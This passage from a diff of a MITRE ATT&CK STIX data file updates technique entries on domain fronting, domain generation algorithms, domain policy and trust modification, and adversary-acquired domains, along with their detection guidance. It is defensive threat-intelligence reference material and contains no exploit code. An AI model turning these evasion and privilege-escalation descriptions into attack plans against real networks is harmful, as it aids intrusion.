business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ", - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" @@ -9817,6 +10305,22 @@ "created": "2018-01-16T16:13:52.465Z" }, { + "created": "2020-03-14T23:29:19.581Z", + "modified": "2020-09-16T19:30:54.226Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", + "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", + "name": "Domain Fronting", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -9834,37 +10338,20 @@ "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Domain Fronting", - "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", - "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "modified": "2020-09-16T19:30:54.226Z", - "created": "2020-03-14T23:29:19.581Z", - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": true, - "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", - "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Packet capture" - ], - "x_mitre_contributors": [ - "Matt Kelly, @breakersall" - ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ] + ], + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1" }, { "external_references": [ @@ -9919,7 +10406,7 @@ "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019." }, { - "source_name": "Endgame Predicting DGA", + "source_name": "Elastic Predicting DGA", "url": "https://arxiv.org/pdf/1611.00791.pdf", "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019." } @@ -9928,10 +10415,26 @@ "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09", "revoked": true, "type": "attack-pattern", - "modified": "2020-03-20T19:51:55.085Z", + "modified": "2020-11-10T18:28:56.957Z", "created": "2019-02-18T17:22:57.831Z" }, { + "created": "2020-03-10T17:44:59.787Z", + "modified": "2020-11-10T18:28:57.002Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "name": "Domain Generation Algorithms", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -9984,50 +10487,31 @@ "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019." }, { - "source_name": "Endgame Predicting DGA", + "source_name": "Elastic Predicting DGA", "url": "https://arxiv.org/pdf/1611.00791.pdf", "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Domain Generation Algorithms", - "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", - "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "modified": "2020-10-02T01:37:39.618Z", - "created": "2020-03-10T17:44:59.787Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA)", - "x_mitre_data_sources": [ - "DNS records", - "Netflow/Enclave netflow", - "Network device logs", - "Packet capture", - "Process use of network" + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" ], "x_mitre_contributors": [ "Ryan Benson, Exabeam", "Barry Shteiman, Exabeam", "Sylvain Gil, Exabeam" ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" }, { "external_references": [ @@ -10054,9 +10538,8 @@ "modified": "2020-03-12T19:07:53.043Z", "created": "2020-02-21T21:15:06.561Z", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_permissions_required": [ "User" @@ -10070,6 +10553,101 @@ "Windows" ] }, + { + "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", + "name": "Domain Policy Modification", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1484", + "url": "https://attack.mitre.org/techniques/T1484" + }, + { + "source_name": "ADSecurity GPO Persistence 2016", + "url": "https://adsecurity.org/?p=2716", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019." + }, + { + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179", + "source_name": "Wald0 Guide to GPOs" + }, + { + "source_name": "Harmj0y Abusing GPO Permissions", + "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019." + }, + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + }, + { + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020." + }, + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + }, + { + "source_name": "Sygnia Golden SAML", + "url": "https://www.sygnia.co/golden-saml-advisory", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021." + }, + { + "source_name": "CISA SolarWinds Cloud Detection", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021." + }, + { + "source_name": "Microsoft - Update or Repair Federated domain", + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2021-02-09T15:52:24.598Z", + "created": "2019-03-07T14:10:32.650Z", + "x_mitre_platforms": [ + "Windows", + "Azure AD" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Deletion", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_version": "2.0", + "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)", + "x_mitre_defense_bypassed": [ + "System access controls", + "File system access controls" + ], + "x_mitre_is_subtechnique": false + }, { "external_references": [ { @@ -10098,7 +10676,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Domain Properties", - "description": "Before compromising a victim, adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d", "type": "attack-pattern", "kill_chain_phases": [ @@ -10107,7 +10685,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-25T22:58:22.915Z", + "modified": "2021-04-15T03:30:33.508Z", "created": "2020-10-02T15:46:24.670Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -10171,10 +10749,10 @@ ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n", "x_mitre_data_sources": [ - "PowerShell logs", - "API monitoring", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution", + "Script: Script Execution" ], "x_mitre_contributors": [ "Dave Westgard", @@ -10188,6 +10766,94 @@ "x_mitre_is_subtechnique": false }, { + "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", + "description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.", + "name": "Domain Trust Modification", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1484.002", + "url": "https://attack.mitre.org/techniques/T1484/002" + }, + { + "source_name": "Microsoft - Azure AD Federation", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed", + "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020." + }, + { + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020." + }, + { + "source_name": "Sygnia Golden SAML", + "url": "https://www.sygnia.co/golden-saml-advisory", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021." + }, + { + "source_name": "CISA SolarWinds Cloud Detection", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021." + }, + { + "source_name": "Microsoft - Update or Repair Federated domain", + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2021-01-11T18:21:20.213Z", + "created": "2020-12-28T21:59:02.181Z", + "x_mitre_platforms": [ + "Windows", + "Azure AD" + ], + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender" + ], + "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" + ] + }, + { + "created": "2020-09-30T17:09:31.878Z", + "modified": "2021-04-15T02:50:38.792Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", + "name": "Domains", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -10225,35 +10891,16 @@ "source_name": "Mandiant APT1" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "PRE" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Domains", - "description": "Before compromising a victim, adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", - "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" - } - ], - "modified": "2020-10-20T20:25:29.310Z", - "created": "2020-09-30T17:09:31.878Z", + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", "x_mitre_contributors": [ "Wes Hurd", "Vinayak Wadhwa, Lucideus", "Deloitte Threat Library Team" - ], - "x_mitre_data_sources": [ - "Domain registration" - ], - "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_platforms": [ - "PRE" ] }, { @@ -10279,7 +10926,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Domains", - "description": "Before compromising a victim, adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", + "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process 